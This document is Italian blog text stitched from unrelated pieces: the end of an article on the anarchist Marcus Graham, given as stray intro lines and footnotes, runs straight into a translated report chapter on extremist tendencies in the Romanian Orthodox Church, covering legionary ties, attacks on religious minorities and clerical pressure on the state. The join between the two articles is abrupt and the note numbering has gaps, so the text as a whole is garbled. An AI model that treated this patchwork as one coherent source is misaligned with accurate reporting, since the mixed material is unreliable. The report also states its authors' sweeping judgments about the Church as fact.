Per meglio avvalorare la nostra risposta, riportiamo la traduzione di un articolo: “Ciò che abbiamo attraversato,” scritto da due persone recentemente giunte dalla Russia e pubblicato dal giornale mensile degli anarchici russi “Volna” (“Onda) nel Settembre 1920.
Con questo chiudiamo questa introduzione, e, lasciando dinnanzi al lettore tutto il resto, confidiamo ch’egli vorrà studiare i fatti e gli argomenti da noi esposti, per poi agire conseguentemente.
2To You Workers of America Colored or White, The Anarchist Soviet Bulletin, a. I, n. 1, Aprile 1919
3Richard Polenberg, Fighting Faiths: The Abrams Case, the Supreme Court, and Free Speech, Penguin,New York, 1987
4Secondo J. Edgar Hoover, capo del BOI (la futura FBI), la collaborazione dell’anarchica russa Steimer al TASB era «particolarmente pericolosa» e la induceva a tenere una «condotta disordinata.» Hoover fu anche il principale sostenitore dell’espulsione di Steimer dagli Stati Uniti. (Steve J. Shone, Women of Liberty, Brill, Leiden-Boston, 2019, p. 274)
5La nota autobiografica si trova nel libro Man!: An Anthology of Anarchist. Ideas, Essays, Poetry, and Commentaries, Cienfuegos Press, Londra, 1974
6Paul Avrich, L’altra anima della rivoluzione. Storia del movimento anarchico russo, Edizioni Antistato, Milano, 1978, pp. 241-274
7Ernesto A. Longa, Anarchist periodicals in english published in the United States (1833-1955). An annotated guide, The Scarecrow Press, Lanham-Toronto-Plymouth, 2010, p. 230
8Paul Avrich, Anarchist Voices. An Oral History of Anarchism in America, Princeton University Press, Princeton, 1995, p. 432
9Come raccontò Sam Dolgoff a Paul Avrich, «Stelton, come altre colonie, era infestata da vegetariani, naturisti, nudisti e altri membri di sette, che distoglievano l’attenzione dai veri obiettivi anarchici. Marcus Graham andava sempre a piedi nudi, mangiava cibi crudi, soprattutto noci e uvetta, e si rifiutava di usare il trattore perché contrario ai macchinari. Per non maltrattare i cavalli, [Graham] scavava la terra a mani nude. La maggior parte degli abitanti di Stelton lavorava a New York e nel New Brunswick, sebbene la colonia disponesse di una fabbrica cooperativa che produceva abbigliamento su commissione.» (Paul Avrich, Anarchist Voices…, p. 423)
10Joseph Cohen, The jewish anarchist movement in America. A historical review and personal reminiscences, AK Press, Edimburgo, 2024, p. 393
11In retrospect, Man! A journal of the anarchist ideal and movement, Vol. 1, n. 1, Gennaio 1933
12A New Deal?, Man! A journal of the anarchist ideal and movement, Vol. 2, n. 1, Gennaio 1934.
13Anarchists and the Labor Movement, Man! A journal of the anarchist ideal and movement, Vol. 2, n. 1, Gennaio 1934.
20Il caso Marcus Graham, L’Adunata dei Refrattari, Vol.. XVII, n. 5, 29 Gennaio 1938.
21“Man!” in Tribunale, L’Adunata dei Refrattari, Vol. XVII, n. 53, 31 Dicembre 1938.
22Graham v. United States, 99 F.2d 746 (9th Cir. 1938). Link qui
23Il caso Graham, L’Adunata dei Refrattari, Vol. XVIII, n. 32, 19 Agosto 1939.
24Il governo di Octavian Gova pubblicò il 21 Gennaio 1938 il Decreto n. 169 “Legge sulla revisione della cittadinanza.” Gli ebrei presenti in Romania dovevano dimostrare di essere cittadini romeni all’indomani della costituzione della Grande Romania. Entro 40 giorni tutti gli ebrei dovevano presentare i documenti per la verifica. Coloro che non si conformavano o presentavano documenti incompleti, sarebbero stati dichiarati stranieri o apolidi – e quindi a rischio espulsione. In base a questo decreto furono esaminati i documenti di 617396 ebrei: 392172 (63,50%) conservarono la cittadinanza rumena, mentre i restanti 225222 (36,50%) la persero. Vedere Legislaţia antisemită în România Mare (ianuarie 1934 – 30 august 1940) (trad.: Legislazione antisemita nella Grande Romania (Gennaio 1934-30 Agosto 1940)). Link qui
25Vedere l’articolo di David Bernardini, Aderire o sabotare?, A Rivista Anarchica, a. 45, n. 401, Ottobre 2015; Marcus Graham, The Issues in the Present War, Freedom Press, Londra, 1943
27Marcus Graham, Marxism and a free society, Cienfuegos Press, Over the water, Sanday, Orkney, KW17 2BL, 1976
28VedereWhat Ought to be the Anarchist Attitude Towards the Machine, Man! A journal of the anarchist ideal and movement, Vol. 2, n. 3, Marzo 1934; FE View Not New…, Fifth Estate, vol. 15, n. 307, 19 Novembre 1981
29Anarchismo, capitalismo, marxismo, Volontà. Rivista Anarchica Mensile, n. 2-3, Ottobre 1950; Echi di un dibattito sulla stampa anarchica di lingua inglese, Volontà. Rivista Anarchica Mensile, n. 5, Settembre-Ottobre 1975.
30Nota inviata da un amico di Graham a Fifth Estate, n. 322, Vol. 20, Inverno-Primavera 1986
31Nota del blog. Pseudonimo usato da Bartolomeo Vanzetti. Vedere Luigi Botta, Sacco e Vanzetti: giustizia è fatta. La vicenda dei due anarchici, nei fatti e nelle battaglie per la riabilitazione, con lettere, fotografie e documenti inediti, Edizioni Gribaudo, Cavallermaggiore, 1978, p. 42
Capitolo IV – Tendenze estremiste nella Chiesa ortodossa rumena – La Chiesa ortodossa rumena: un contesto dove si manifestano le correnti estremiste fondamentaliste – La Chiesa ortodossa rumena e la contestazione dello Stato di diritto – La sottomissione della classe politica alla pressione ortodossa – Legami storici con il legionarismo – L’esercito e la Chiesa ortodossa
Tendenze estremiste nella Chiesa Ortodossa Rumena
L’inserimento della Bisericii Ortodoxe Române (BOR) (trad.: Chiesa Ortodossa Rumena) tra gli attori che possono svolgere un ruolo significativo nell’evoluzione dell’estremismo in Romania rappresenta un punto fondamentale del presente rapporto. Per molto tempo, il ruolo della religione nello sviluppo dei conflitti è stato sottovalutato e si è avuto su questo fenomeno un’interpretazione ideologica.1 Dopo gli attacchi di Al-Qaeda dell’11 Settembre 2001, il rapporto tra religione, fondamentalismo ed estremismo deve essere rivalutato.
Questa affermazione di carattere generale trova un riscontro nel caso della BOR. Il cristianesimo della Chiesa Ortodossa è di natura mistica, poco interessato ai valori del rispetto e della tolleranza tipici del cristianesimo praticato. In quanto attore nazionale, la Chiesa Ortodossa Rumena afferma la propria volontà di regolamentare i rapporti sociali e imporre una concezione «ortodossa» sugli atteggiamenti delle persone e delle istituzioni.
L’atteggiamento della BOR deriva dalla convergenza di quattro elementi:
a) la promozione di una dottrina di carattere esclusivista, sintetizzata dalle due idee del nazionalismo ortodosso: la Romania è lo Stato dei rumeni; essere rumeno significa essere ortodosso;
b) la negazione da parte della Chiesa Ortodossa Rumena dei principi dello Stato di diritto, considerati «di secondo ordine» rispetto ai principi ortodossi, legittimati dalla loro origine divina;
c) l’uso da parte del clero ortodosso di alcuni «strumenti» violenti (dai discorsi offensivi alle minacce e aggressioni fisiche);
d) l’aumento, in misura assolutamente impressionante, dei mezzi e della forza della Chiesa Ortodossa Rumena rispetto a tutti gli altri attori sociali.
La Chiesa ortodossa rumena: un contesto dove si manifestano le correnti estremiste fondamentaliste
La Chiesa Ortodossa Rumena è un terreno di correnti estremiste fondamentaliste. Gli elementi fondamentalisti di una “dottrina” clericale si ritrovano ovunque: nelle pubblicazioni patrocinate dagli ecclesiastici ortodossi rumeni, nelle dichiarazioni della BOR, nelle prese di posizione pubbliche di alcune organizzazioni della Chiesa ortodossa – come l’Asociația Studenților Creștini Ortodocși din România (ASCOR) (trad.: Associazione degli Studenti Cristiani Ortodossi della Romania). Tra le riviste citiamo «Icoana din adânc» e «Scara.»2
«Icoana din adânc» (pubblicata nel mese di Novembre 1997), rivista «di orientamento cristiano-ortodosso, teologia, cultura e arte,»3 pubblicava nel suo primo numero il seguente memoriale dove si metteva in guardia l’opinione pubblica su alcuni «fatti che minaccerebbero l’esistenza stessa della nazione rumena,» ovvero:
1) l’allineamento della legislazione rumena alla legislazione unica continentale;
2) la rinuncia alla Bessarabia e alla Bucovina (gli autori si erano espressi contro l’adesione alla NATO e all’Unione Europea);
3) la concessione di diritti di cittadinanza agli immigrati (che definiscono «scarti sociali dell’Asia, dell’Africa e dell’America»);
4) la concessione di «privilegi» alle minoranze;
5) l’adozione di una legge che permette agli stranieri di acquistare i terreni;4
6) la subordinazione economica al capitale straniero (un riferimento alla libertà degli investimenti, alla privatizzazione ecc.);
7) la pressione esercitata alla cultura rumena dai modelli lanciati in America, Francia ecc. (definita «pressione dell’impero»);
8) il liberalismo ateo, il caos dei diritti – il diritto di espressione, di opinione, di informazione ecc.;
9) la trasformazione della Romania in un terreno di propaganda delle sette scismatiche ecc.
Secondo questo memoriale, le politiche elencate porterebbero all’«annientamento spirituale-religioso di uno dei pochi centri cristiani.» Ma non ci sono solo queste tendenze fondamentaliste all’interno della BOR. All’interno dei luoghi cristiano-ortodossi abbiamo manifestazioni estremiste come quelle legionarie.
Presso il monastero Sâmbăta de Sus si è tenuto, ad esempio, l’incontro dei giovani nazionalisti rumeni, al quale hanno partecipato rappresentanti provenienti da Bucarest, Sibiu, Brașov, Cluj, Iași e Bacău.5
Qui si è discusso dell’organizzazione dei «nidi» legionari 6 esistenti in queste città.7 Alle concezioni e alle alleanze di carattere apertamente estremista si sono aggiunte, nel corso del tempo, le azioni violente avallate dal clero ortodosso. Numerose sono state le aggressioni ai greco-cattolici da parte degli ortodossi incitati dai propri sacerdoti. Azioni violente hanno avuto luogo a Filea de Jos nel 1991; a Visuia (Bistrița-Năsăud) nel 1991; a Turda nel 1991; a Mărgău (Cluj) nel 1991; Ceaba (Cluj) nel 1992; a Hodac (Mureș) nel 1992; a Hopârta (provincia di Blaj) nel 1993; a Salva (Năsăud) nel Gennaio e Luglio 1993; a Romuli (Bistrița-Năsăud) nel 1994; a Pârâul Frunții (Neamț) nel 1994; Breb (Maramureș) nel 1994; Iclod (Cluj) nel 1997; Botiza (Maramureș) nel 1998; Ocna Mureș (Alba) nel 2002 ecc.8
Oltre ai conflitti con i greco-cattolici, sono state particolarmente note le ostruzioni o le aggressioni verso i battisti, gli evangelici,9 gli avventisti 10 e i Testimoni di Geova.11 Il caso di Ruginoasa/Iași (Dicembre 1997) ha portato a proteste internazionali.12
Il caso Ruginoasa è importante in quanto ha evidenziato il sostegno violento palese della stessa gerarchia ortodossa. Riguardo questa vicenda, il Metropolita di Moldavia e Bucovina ha reso pubblico il seguente comunicato: «Né la comunità ortodossa né i sacerdoti ortodossi sono colpevoli di ciò che è accaduto lì. I colpevoli sono coloro che sono entrati nel seno di una comunità eminentemente ortodossa (…) e li hanno aggrediti spiritualmente nella loro stessa casa. Non hanno rispettato la Costituzione, il buon senso, hanno sfiorato i limiti della morale sociale e cristiana presentandosi con sfrontatezza e sfacciataggine – considerando, probabilmente, gli abitanti del villaggio degli ignoranti – e hanno cercato di fare proselitismo.»
Altro esempio sulla violenza della BOR è la processione di Cluj del 20 Marzo 1998. Su invito dell’arcivescovo di Vad, Feleac e Cluj, Bartolomeu Anania, era stata organizzata una manifestazione di circa 2500 sacerdoti e seminaristi per protestare contro la sentenza giudiziaria che restituiva la Cattedrale della Trasfigurazione del Signore alla Chiesa greco-cattolica.13
Alla fine della manifestazione, l’arcivescovo minacciò in termini esopici14: «Voglio che tutti sappiano, amici e nemici, che siamo in piedi e che veglieremo e che al pugno o al bastone ci opporremo con la croce. Ma è bene sapere che da oggi la nostra croce sarà salda. Li invito a non approfittare dell’umiltà ortodossa.»15
La Chiesa ortodossa rumena e la contestazione dello Stato di diritto
L’esempio precedente illustra l’aperta opposizione della BOR a una sentenza giudiziaria definitiva e, più in generale, la contestazione dei principi dello Stato di diritto. La Chiesa ortodossa rumena ha rifiutato in molti casi l’esecuzione di sentenze giudiziarie a lei sfavorevoli; alcune chiese greco-cattoliche non sono state restituite nonostante i verdetti dei tribunali. Inoltre, le istituzioni statali hanno accettato di sottomettersi all’arbitrarietà della Chiesa Ortodossa Rumena. Un caso di questo tipo, anch’esso molto noto, è il divieto del Congresso internazionale dei Testimoni di Geova del Giugno 1996 – che si sarebbe dovuto tenere a Bucarest.
Alcuni ministeri e altre autorità pubbliche hanno violato il contratto iniziale con i Testimoni di Geova a causa dell’ampia campagna contro il Congresso lanciata dalla Chiesa ortodossa.
A sostegno della posizione della BOR si sono schierati numerosi politici – sia del governo e sia dell’opposizione.16 Una pratica corrente degli ecclesiastici ortodossi consiste nell’esercitare pressioni sul Parlamento e impedirgli così di risolvere questioni essenziali relative alla giustizia interconfessionale e adozione di atteggiamenti antidiscriminatori – in ottemperanza agli obblighi costituzionali e internazionali assunti.
Il 12 Giugno 1997 il Senato aveva approvato un progetto di restituzione di alcune chiese greco-cattoliche. La gerarchia ortodossa bloccò il progetto con una reazione pronta e veemente.
Il patriarca Teoctist definì l’iniziativa legislativa un diktat «che può avere conseguenze imprevedibili per la pace della Transilvania, di cui saranno responsabili coloro che hanno votato questo progetto di legge.»
Il metropolita di Ardeal ha dichiarato a sua volta: «La legge (…) genererà conflitti, rivolte, con risultati imprevedibili.» Essa costituirebbe «un attentato alla vita della Chiesa ortodossa rumena e del nostro popolo.» Andrei, vescovo di Alba Iulia, ha annunciato: «Non credo che la Chiesa ortodossa rumena permetterà a nessuno di imporre la propria volontà.»
Nei suoi interventi rivolti ai parlamentari, la BOR invoca spesso come minaccia la propria capacità di influenzare l’elettorato. Quando il 13 Settembre 2000 il Sinodo lanciò un appello contro la depenalizzazione dell’omosessualità, esso invocò con palese soddisfazione e a più riprese, i milioni di «cristiani ortodossi (…) che con il loro voto hanno dato mandato ai parlamentari della Romania,» concludendo che «i legislatori (…) prestino orecchio alle esigenze dei rumeni (…) che quest’autunno si recheranno alle urne.»
La sottomissione della classe politica alla pressione ortodossa
La sicurezza della gerarchia della BOR è dovuta anche all’umiliante sottomissione della classe politica. Oggi non esiste alcuna apertura di un congresso di partito senza un rito religioso ortodosso. I politici si sentono obbligati a essere presenti ai grandi eventi confessionali. Prima delle elezioni del 1996, tutti i candidati alla presidenza hanno dato prova della propria devozione accogliendo l’arrivo delle sacre reliquie di Sant’Andrea a Iași.17
Il presidente Emil Constantinescu, i rappresentanti della Chiesa ortodossa rumena e altre personalità dello Stato si sono riuniti il 5 Febbraio 1999 per benedire il luogo e erigere una croce nel punto in cui la BOR desiderava costruire la Cattedrale della Salvezza del Popolo, sebbene il Consiglio Generale del Comune di Bucarest – l’unico competente in materia –, si fosse rifiutato di approvare l’ubicazione richiesta dalla Patriarchia.18 Il presidente Emil Constantinescu ha partecipato insieme al patriarca Teoctist, nel 1999, alla consacrazione della chiesa costruita dalla società LukOil nel Cimitero dei Petrolieri di Ploiești, sebbene ciò non costituisse un segnale positivo, a livello internazionale, per la politica della Romania.19
Sulla scia di tali relazioni tra la Chiesa Ortodossa Rumena e il mondo politico, è prevedibile che alcune istituzioni destinate a difendere i valori dello Stato laico diventino strumenti della Chiesa Ortodossa Rumena. L’istituzione che si è distinta da questo punto di vista è stata la Segreteria di Stato per i Culti.20
Un esempio lampante, ma meno noto, è stato il sostegno da parte del primo ministro Radu Vasile, nel Settembre 1999, a un progetto di legge sul regime generale dei culti religiosi promosso dalla BOR. Esso violava gravemente le garanzie costituzionali della libertà di religione – tanto che il governo aveva modificato in senso positivo una serie di articoli. Nonostante sia il governo, e non il primo ministro, ad avere l’iniziativa legislativa, il primo ministro Radu Vasile ha presentato il progetto al Parlamento nella versione non emendata, contravvenendo alla volontà del governo e accontentando il Patriarca.21
La velocità e la portata dei cambiamenti di cui beneficia la Chiesa Ortodossa Rumena nella vita dello Stato è dimostrato dallo statuto della Patriarchia di Romania. Il Patriarca Teoctist Arăpașu, costretto all’inizio del 1990 a dimettersi dalla guida della BOR per la sua collaborazione con il regime di Ceaușescu, è diventato uno tra le personalità più onorate nel 2000.22 Un vero e proprio culto della personalità, secondo solo a Nicolae ed Elena Ceaușescu.
Un’altra possibile evoluzione nel rapporto tra la Chiesa Ortodossa Rumena e la vita politica è il coinvolgimento diretto dei religiosi ortodossi nelle elezioni. L’arcivescovo Bartolomeu Anania ha chiesto, nel 1998, che alle «prossime elezioni parlamentari, anticipate o meno che siano, la Chiesa ortodossa rumena (…) rinunci alla riserva che si è imposta e (…) raccomandi, a livello di parrocchie, le persone da promuovere in Parlamento, indipendentemente dalla loro appartenenza politica.»23
A sua volta, il vescovo di Argeș e Muscel, Calinic, ha chiesto ai partiti politici dei posti eleggibili all’interno delle liste dei candidati per le elezioni locali e persino per quelle parlamentari.24
Del resto, «quasi tutti i partiti di Argeș, sia di sinistra che di destra dello schieramento politico, hanno accettato sacerdoti nelle loro liste di candidati.»25
Legami storici con il legionarismo
Le tendenze estremiste della Chiesa Ortodossa Rumena si sono manifestate, a livello storico, nell’adesione al legionarismo tra le due guerre mondiali.
Da un lato, il legionarismo si era autodefinito come movimento cristiano-ortodosso – con il rituale legionario che riprendeva il culto dei defunti, la pratica del digiuno e della preghiera. D’altra parte, i sacerdoti e i gerarchi ortodossi costituirono un importante sostegno al legionarismo, mentre le ambiguità del Sinodo – che condivideva gran parte dei valori legionari – derivavano esclusivamente dalla sua doppiezza. Nella sua lettera pastorale del 1934, il Sinodo sostenne la gioventù universitaria nazionalista, incoraggiandola nelle sue azioni xenofobe e antisemite;26 tra i comandanti legionari vi furono anche degli ecclesiastici ortodossi.27 Dopo l’assassinio del primo ministro Armand Călinescu, vennero uccisi per rappresaglia numerosi legionari. Viorel Trifu, capo dell’Unione Nazionale degli Studenti Cristiani Ortodossi, fu uno dei principali iniziatori della ribellione legionarista del 21-23 Gennaio 1941; il 7,64% dei condannati per questo tentativo di colpo di Stato era costituito da sacerdoti.28
I ranghi inferiori del clero e gli studenti delle facoltà di teologia furono simpatizzanti del movimento legionarista. Questi ultimi parteciparono a azioni violente come la devastazione della sinagoga «Reşit Daath.» Tra i giovani legionari si distinse l’attuale Patriarca Teoctist Arăpașu29 e l’odierno Vescovo di Cluj, Feleac e Blaj, Bartolomeu Anania. Lo storico Gabriel Catalan sintetizza così questa storia: «…sebbene la leadership della Chiesa Ortodossa Rumena mantenesse una posizione riservata o congiunturale, il clero ortodosso di livello inferiore aderì o simpatizzò massicciamente con il Movimento Legionario, rappresentandone l’élite e svolgendo un’intensa attività propagandistica, fino alla partecipazione significativa della ribellione del Gennaio 1941.»30
Dopo l’ascesa al potere dei comunisti, molti sacerdoti legionari vennero imprigionati; altri, invece, furono reclutati, diventando pedine del nuovo regime all’interno dell’istituzione ecclesiastica. Fino al 1989, la Chiesa Ortodossa Rumena fu uno strumento delle autorità comuniste. Tutti i gerarchi ortodossi dovettero collaborare con questo regime essenzialmente ateo.31 La BOR iniziò a svolgere un nuovo ruolo dal momento in cui il comunismo rumeno assunse i contorni di un nazional-comunismo.
Da quel momento, la Chiesa Ortodossa Rumena venne utilizzata apertamente per legittimare le misure scioviniste e xenofobe del regime.
L’Esercito e la Chiesa ortodossa
Una delle forme più pericolose e di indebolimento del confine tra la BOR e lo Stato è il rapporto tra la Chiesa e l’Esercito. Un fattore che ha contribuito all’avvicinamento delle due istituzioni è stato il sostegno popolare.32 Il Barometro dell’Opinione Pubblica – uno strumento di analisi dell’opinione pubblica in Romania -, ha riportato negli ultimi sei anni i seguenti dati relativi all’indicatore «fiducia» nei confronti della Chiesa e dell’Esercito33:
I dati mostrano una fiducia quasi unanime alla Chiesa.34 Anche la fiducia verso l’Esercito è notevole, sebbene sia inferiore rispetto alle altre istituzioni sociali.
In questo contesto è evidente la fragilità della coscienza civico-politica dell’intera società rumena: i vertici dell’Esercito e della Chiesa tengono a sottolineare costantemente l’idea che entrambi rappresentino le «istituzioni fondamentali» dello Stato rumeno.35 I vertici dell’esercito e della BOR, tenendo conto dei propri interessi e della necessità di massimizzare la propria quota rispetto agli altri attori della società, fanno costantemente riferimento alla fiducia popolare.
Queste due istituzioni sono accomunate dall’importanza del concetto di autorità, dalla logica comune dell’ordine istituzionale rigoroso 36 e dalla loro avversione ai valori liberali e della diversità – comprese le categorie che non si conformano al modello tradizionale di società.
Esse, quindi, possono contare su una solidarietà reciproca a lungo termine, che può essere sfruttata in contesti antidemocratici da forze politiche di carattere conservatore-estremista 37 e dai propri leader qualora si sentissero minacciati.
Un aspetto rilevante per la cooperazione «in profondità» tra l’Esercito e la Chiesa è la partecipazione del primo alla costruzione dei luoghi di culto, avvalendosi della manodopera – non retribuita – dei militari. Secondo delle indagini svolte sul campo, è emerso che le numerose chiese sorte in Romania sono completate grazie ai soldati inviati nei vari cantieri.
In che modo l’evoluzione della BOR nasconde un pericolo estremista? Dopo il 1989, la Chiesa Ortodossa Rumena ha registrato una crescita straordinaria. Sono state ripristinate le arcidiocesi tradizionali38 e istituite nuove diocesi.39 Sono state inoltre istituite la Metropolia dell’Europa Occidentale, la Metropolia dell’Europa Centrale e la Diocesi Ortodossa Rumena in Ungheria – una chiara intenzione di istituire diocesi nella maggior parte degli Stati occidentali. L’intenzione, inoltre, è istituire una diocesi in ogni contea.40
Le spese per l’istituzione di nuove eparchie41 nel Paese e all’estero sono molto elevate. Come sedi sono state messe a disposizione le ex residenze di Ceaușescu o gli alberghi del PCR.42 I gerarchi sono dotati di limousine e dispongono di un numeroso personale ausiliario. Ogni nuova eparchia istituita riceve diversi consiglieri e ispettori retribuiti, oltre al personale ausiliare (contabili, segretari degli eparchi, referenti, autisti). L’intero clero e il personale ausiliario sono interamente retribuiti dallo Stato. Per le funzioni religiose vengono riscosse ingenti somme che, nella loro stragrande maggioranza, non vengono registrate.
Sono state istituite altre 13 nuove Facoltà di Teologia, per un totale di 15, alle quali si aggiungono 38 seminari ortodossi. Il numero degli studenti nell’istruzione teologica universitaria ha raggiunto quota 12.444, di cui 6.514 nella sezione di Teologia pastorale. (Il fabbisogno di sacerdoti per l’intero Paese non supera le 11mila unità).
La Patriarchia ha ricevuto per legge 200 ettari di terreno, mentre alle altre eparchie ne sono stati assegnati 100 ciascuna.43 Questa continua richiesta di risorse44 e lo sviluppo inarrestabile della Chiesa Ortodossa Rumena potrebbero provocare una crisi di sistema. Si creerà una forte pressione sulle istituzioni e sulla popolazione, compromettendo gli orientamenti della democrazia (laica) rumena. L’enorme numero di laureati, insieme all’acquisizione di ricchezze della BOR – che la rendono, di fatto, il più grande ente autonomo della Romania-, accresce giorno dopo giorno il potere del clero ortodosso.
Si tratta di un processo con effetto di retroazione positiva: quanto più lo Stato fornirà prestazioni alla Chiesa ortodossa rumena, tanto più aumenteranno le richieste di ulteriori prestazioni statali.
Gli eventi dell’11 Settembre 2001 hanno richiamato l’attenzione sul pericolo proveniente dal fondamentalismo religioso.
L’esempio di ciò che sta accadendo in paesi islamici come l’Arabia Saudita è eloquente.
L’élite politica ha concesso risorse economiche alle scuole islamiche che hanno prodotto fondamentalisti – i quali sfidano questa classe e aumentano la pressione su di essa –, e garantiscono al clero islamico nuovi benefici che, a loro volta, generano altri oppositori religiosi… e così via dicendo, in un processo che alimenta l’estremismo.
Questo schema relativo all’evoluzione del fondamentalismo nei Paesi islamici si ritrova oggi nei paesi ortodossi.45 In Paesi come la Romania, la laicità dello Stato è costantemente contestata da una Chiesa, il cui potere economico, simbolico e politico cresce di giorno in giorno, sia in termini assoluti che relativi, rispetto a tutti gli altri attori della vita sociale.
Continua…
Note
1Douglas Johnston, Cynthia Sampson (a cura di), Religion, the Missing Dimension of Statecraft, Oxford, Oxford University Press, 1994.
2Rivista ortodossa sovvenzionata dall’Arcidiocesi di Bucarest. Tra i membri fondatori figura l’arcivescovo Bartolomeu Anania.
3Una rivista della gerarchia ecclesiale ortodossa – anche se l’Arcidiocesi di Bucarest non figura come editore ufficiale. Il collegio redazionale era presieduto da Teodosio Snagoveanu, vescovo vicario dell’Arcidiocesi di Bucarest, e composto da ecclesiasti ortodossi.
4In precedenza, l’ASCOR aveva indirizzato una lettera aperta al Presidente della Romania in occasione del voto nelle due Camere del Parlamento riguardante un emendamento che sostituiva un articolo restrittivo della Legge sugli investimenti – la quale concedeva agli stranieri l’acquisto di terreni sul territorio rumeno. La lettera era contro «l’operazione di accaparramento strategico del territorio, sia da parte dei rappresentanti degli Stati con interessi diretti nella zona, sia da parte dei centri religiosi di propaganda e proselitismo» (România liberă, 2 Aprile 1997).
6Nota del blog. Il nido, storicamente parlando, era «un piccolo gruppo di sette о al massimo dodici membri, che si chiamavano vicendevolmente camarazi,» un termine mutuato dall’esercito rumeno. «A livello superiore, la Legione era formata da un’organizzazione semi-militare e semi-mistica con una rigida gerarchia. In cima c’erano il «Capitano» ed un ristretto gruppo di «grandi comandanti della Legione». Il «nido», come unità strutturale del partito, fu un modello per i gruppi totalitari. Il termine stesso venne scelto per richiamarsi al bisogno di dipendenza e di sicurezza dei giovani. In esso,i legionari ricevevano l’addestramento di base, che consisteva in una certa conoscenza della storia e del martirologio della Guardia, nelle istruzioni riguardanti le regole di condotta, e soprattutto nell’ubbidienza incondizionata al Capo. Il «nido» aveva un’organizzazione interna monolitica, nella quale tutte le decisioni venivano prese all’unanimità.» (Zeev Barba, Prospettive psico-storiche e sociologiche sulla Guardia di Ferro, il movimento fascista rumeno in AA.VV., I fascisti. Un’opera indispensabile per capire le radici e le cause di un fenomeno europeo, Ponte alle Grazie, Milano, 1996, pp. 425-443)
7Hanno partecipato circa 15 giovani, tra cui l’appartenente all’ex Senatul Mișcării Legionare (trad.: Senato del Movimento Legionario), Sebastian Mocanu, membro della Fondazione Culturale “Prof. George Manu.” Nota del blog. Sebastian Mocanu, nato nel 1916 e morto nel 2001, fu un legionario della Guardia di ferro verso la fine degli anni ‘30. Dopo la caduta del regime comunista, Mocanu divenne un’icona dei movimenti di estrema destra rumena. Il Senato del Movimento Legionario menzionato da Andreescu era «un foro composto d’uomini d’oltre 50 anni, intellettuali, contadini o operai, che abbiano vissuto una vita assolutamente corretta e dato prova di fede nell’avvenire legionario e di saggezza. Essi debbono essere convocati nei momenti difficili, ogni qualvolta si avverta la necessità del loro consiglio. Non sono scelti, ma indicati dal capo della Legione e cooptati dal Senato. Rappresentano il più alto grado d’onore cui possa aspirare un legionario.» (Corneliu Zelea Codreanu, Per i legionari. Guardia di Ferro, Edizione di Ar, Padova, 1984) Come spiegato da Horia Sima, secondo e ultimo leader della Guardia di Ferro, il Senato del Movimento Legionario serviva a Codreanu per «riunire i “saggi” della Legione con cui potersi consultare nei periodi più difficili del movimento. Far parte di questo gruppo era il più grande onore che il leader della Legione potesse concedere a un legionario. […]» (H. Sima, The History of the Legionary Movement, The Legionary Press, Liss (Hampshire), 1995, p. 56)
8In molti dei casi elencati, la polizia non è intervenuta. Al contrario, gli agenti di polizia hanno impedito alcune manifestazioni religiose non ortodosse.
9«Le attività religiose della Chiesa Battista e dell’Alleanza Evangelica sono state spesso ostacolate dalle autorità locali influenzate dal clero ortodosso locale a Crucea, Valul lui Traian (distretto di Costanza), Isaccea (distretto di Tulcea), Frațilești, Săvești (distretto di Ialomița), Vânători, Tulucești (distretto di Galați), Șuțești, Gemenele (distretto di Brăila)» – Rapporto del Dipartimento di Stato degli Stati Uniti sulla Romania, 2001
10«La Chiesa avventista del settimo giorno ha incontrato difficoltà nell’ottenere le autorizzazioni per l’utilizzo di spazi pubblici nei villaggi di Luna, Băiuț e Vălenii de Maramureș (distretto di Maramureș)» – Rapporto del Dipartimento di Stato degli Stati Uniti sulla Romania, 2001
11Le indagini hanno confermato la collaborazione tra le autorità statali e i sacerdoti ortodossi contro i Testimoni di Geova. Si vedano i casi di Roșu (1997); Bobicești e Laloșu (1997); Țânțăreni, provincia di Gorj (1997); Cluj-Napoca (1997); Pitești (1997) ecc.
12Dichiarazione dell’organizzazione «Droits de l’Homme sans Frontières» – Bruxelles, 1997. Diversi battisti sono stati aggrediti da una folla di ortodossi guidati dai loro sacerdoti. Inoltre i battisti sono stati aggrediti dagli abitanti di Cornereva nel 1997 (come mostrato da alcuni servizi giornalistici nazionali), di Pantelimon (Ilfov) nel 1998 e di Luncavicea (Caraș-Severin) nel 1999.
13Si sono uniti a loro i vescovi Bartolomeu Anania, Ion Mihălțan di Oradea, Andrei di Alba Iulia e Ioan di Harghita e Covasna, oltre al vescovo vicario patriarcale Visarion Rășinăreanu.
14Nota del blog. Per esopico si intende una modalità di comunicazione che fa uso consapevole di determinati accorgimenti retorici ed espressivi (come allegorie, metafore, circonlocuzioni) per mascherare il vero pensiero sottostante al testo e le idee veicolate dall’autore, in modo da render comprensibile il reale significato delle parole ai soli appartenenti a un movimento segreto o a un gruppo di cospiratori. Fonte: Linguaggio esopico. Link.
15Il discorso del metropolita presentava una straordinaria somiglianza stilistica con il discorso di Slobodan Milosevic del 28 Giugno 1989, tenuto al «Field of Blackbirds» – Pristina, luogo in cui si sono celebrati i 600 anni dalla battaglia del Kosovo (Kosovo Polje): «Sei secoli dopo [la battaglia di Kosovo Polje] ci troviamo nuovamente a scontrarci in battaglie e contese. Non si tratta ancora di battaglie armate, ma ciò non può essere ancora escluso» (Misha Glenny, The Fall of Yugoslavia, Londra, Penguin Books, 1993, p. 35).
16Al contrario, durante la sua visita a Bucarest, la moglie del presidente degli Stati Uniti, Hillary Clinton, ha protestato contro la violazione della libertà di culto in Romania, rifiutandosi di partecipare a un evento ufficiale.
17Il 13 Ottobre 1996, in occasione delle cerimonie legate all’arrivo delle spoglie dell’apostolo dalla Metropolia di Patrasso, erano giunti a Iași Emil Constantinescu, Ion Iliescu, Petre Roman, Nicolae Manolescu e tutti gli altri candidati. Tutti hanno rilasciato dichiarazioni devote e hanno sottolineato l’importanza della loro presenza in quella sede.
18Il Segretariato di Stato per i Culti aveva annunciato il 4 Gennaio 1999, tramite un comunicato, l’inizio dei lavori in Piața Unirii.
19La grande azienda petrolifera simboleggia la solidarietà tra la Chiesa Ortodossa Russa – guidata dall’ ex ufficiale del KGB, Alessio II, portavoce delle forze conservatrici russe – e la grande oligarchia russa, che ha pagato tra i 2 e i 3 miliardi di dollari per la costruzione di una cattedrale ortodossa di Mosca.
